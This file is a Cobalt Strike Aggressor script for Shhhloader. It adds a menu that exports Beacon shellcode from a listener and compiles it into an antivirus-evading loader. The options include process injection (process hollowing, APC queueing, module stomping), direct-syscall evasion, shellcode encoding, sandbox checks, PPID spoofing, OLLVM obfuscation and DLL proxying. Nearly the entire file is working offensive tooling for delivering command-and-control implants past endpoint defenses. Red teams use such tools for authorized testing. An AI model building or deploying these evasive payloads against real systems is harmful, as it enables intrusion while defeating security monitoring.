Shhhloader.cna

############################################################
# Shhhloader Aggressor script by @icyguider
# Thanks to @GeorgePatsias whose code I used as a reference
# If you ever want to change the Shhhloader path this tool uses, simply delete the ".shhhloader_cfg" in your HOME directory.
############################################################
$script_path = "";
$config_file = "";

# Variables for Shhhloader Options
$shellcode = "";
$file_type = "";
$sandbox = "";
$injection_method = "";
$sandboxarg = "";
$injection_process = "";
$noppid = "";
$verbose = "";
$dllproxy = "";
$syscall_method = "";
$encoding_method = "";
$ollvm = "";
$outname = "";
$payload_type = "";

# Variables for flags
$np = "";
$vb = "";
$ns = "";
$dll = "";
$dp = "";
$sa = "";
$sb = "";
$gs = "";
$ol = "";
$we = "";
$proc = "";
$ext = "exe";

menubar("Shhhloader", "Shhhloader");

popup Shhhloader {
    item "&Generate Payload" {
        $data = exec("whoami");
        $exec_output = readAll($data);
        if ($exec_output[0] eq "root") {
            $config_file = "/root/.shhhloader_cfg";
        }
        else {
            $config_file = "/home/" . $exec_output[0] . "/.shhhloader_cfg";
        }
        #show_message($config_file);
        $handle = openf($config_file);
        $cfg_text = readln($handle);
        closef($handle)
        #show_message($cfg_text);
        if ($cfg_text ne "")
        {
            $script_path = $cfg_text;
        }
        if ($script_path eq "") {
            $dialog = dialog("Shhhloader Payload Generator", %defaults, &setFullPath);
            dialog_description($dialog, "Shhhloader directory not found. Please specify full path below:");
            drow_text($dialog, "full_path", "(*) Shhhloader Directory Full Path: ");
            dbutton_action($dialog, "Submit");
            dialog_show($dialog);
        }
        else {
            Shhhloader();
        }
    }
}

sub Shhhloader {
    local('$dialog %defaults');
    %defaults["injection_process"] = "explorer.exe";

    $dialog = dialog("Shhhloader Payload Generator", %defaults, &mainCallback);
    dialog_description($dialog, "AV Might Hear Us!!! (#) for optional, (*) for required options.");
    drow_listener_stage($dialog, "listener", "(*) Listener: ");
    drow_combobox($dialog, "payload_type", "(*) Payload Type: ", @("Stageless", "Staged"));
    drow_combobox($dialog, "injection_method", "(*) Injection Method: ", @("QueueUserAPC", "ModuleStomping", "ProcessHollow", "EnumDisplayMonitors", "RemoteThreadContext", "RemoteThreadSuspended", "CurrentThread"));
    drow_combobox($dialog, "syscall_method", "(*) Syscall Method: ", @("SysWhispers2", "GetSyscallStub"));
    drow_combobox($dialog, "encoding_method", "(*) Encoding Method: ", @("XOR", "English Words"));
    drow_combobox($dialog, "file_type", "(*) File Type: ", @("exe", "dll"));
    drow_combobox($dialog, "sandbox", "(#) Sandbox Evasion: ", @("domain", "hostname", "username", "sleep", "none"));
    drow_text($dialog, "sandboxarg", "(#) Sanbox Argument: ");
    drow_text($dialog, "injection_process", "(#) Injection Process: ");
    drow_text($dialog, "outname", "(#) Output File Name: ");
    drow_text($dialog, "dllproxy", "(#) DLL Proxy: ");
    drow_checkbox($dialog, "ollvm", "(#) Enable Obfuscator-LLVM (OLLVM)");
    drow_checkbox($dialog, "noppid", "(#) Disable PPID Spoofing");
    drow_checkbox($dialog, "verbose", "(#) Verbose");
    dbutton_action($dialog, "Generate Payload");
    dbutton_help($dialog, "https://github.com/icyguider/Shhhloader");
    dialog_show($dialog);
}

sub setFullPath {
    $script_path = $3["full_path"];
    if ($script_path eq "") {
        $verbose = "";
    }
    else {
        $handle = openf(">" . $config_file);
        #show_message($script_path);
        println($handle, $script_path);
        closef($handle);
        Shhhloader();
    }
}

sub mainCallback {
    if ($3["listener"] eq "") {
        show_message("Please specify a listener!");
        exit();
    }

    $injection_method = $3["injection_method"];
    $encoding_method = $3["encoding_method"];
    $file_type = $3["file_type"];
    $sandbox = $3["sandbox"];
    $sandboxarg = $3["sandboxarg"];
    $injection_process = $3["injection_process"];
    $noppid = $3["noppid"];
    $verbose = $3["verbose"];
    $dllproxy = $3["dllproxy"];
    $ollvm = $3["ollvm"];
    $outname = $3["outname"];
    $payload_type = $3["payload_type"];

    if (($sandbox eq "domain") || ($sandbox eq "user") || ($sandbox eq "hostname")) {
        if ($sandboxarg eq "") {
            show_message("Selected sandbox evasion method requires an argument! Try again.");
            exit();
        }
    }

    if ($noppid eq "true"){
        $np = "-np ";
    }
    if ($verbose eq "true"){
        $vb = "-v ";
    }
    if ($sandbox eq "none"){
        $ns = "-ns "
    }
    if ($file_type eq "dll"){
        $dll = "-d ";
        $ext = "dll";
    }
    if ($dllproxy ne "") {
        $dp = "-dp $dllproxy";
        $dll = "-d ";
        $ext = "dll";
    }
    if ($sandboxarg ne "")
    {
        $sa = "-sa $sandboxarg ";
    }
    if ($sandbox ne "none")
    {
        $sb = "-s $sandbox "
    }
    if ($syscall_method eq "GetSyscallStub") {
        $gs = "-g ";
    }
    if ($ollvm eq "true"){
        $ol = "-l ";
    }
    if ($encoding_method eq "English Words") {
        $we = "-w ";
    }
    if ($outname eq "") {
        $outname = "a.$ext";
    }

    $proc = "-p $injection_process";
    if ($payload_type eq "Stageless") {
        $shellcode = artifact_payload($3["listener"], "raw", "x64");
    }
    if ($payload_type eq "Staged") {
        $shellcode = artifact_stager($3["listener"], "raw", "x64");
    }
    GeneratePayload();
}

sub GeneratePayload {
    $handle = openf(">" . $script_path . "/beacon.bin");
    writeb($handle, $shellcode);
    closef($handle);

    $build_cmd = "python3 Shhhloader.py beacon.bin -m $injection_method $sb$sa$proc -o $outname $np$vb$ns$dll$gs$ol$we$dp";

    #Uncomment to debug call to python builder
    #show_message($build_cmd);

    $data = exec($build_cmd, $null, $script_path);

    $exec_output = readAll($data);

    if ("successfully" isin $exec_output)
    {
        show_message("Shhhloader stub compiled successfully!\nLocation: " . $script_path . "/$outname");
    }
    else
    {
        show_message("Failed to compile!");
    }

    #Uncomment to debug python builder output
    #show_message($exec_output);
}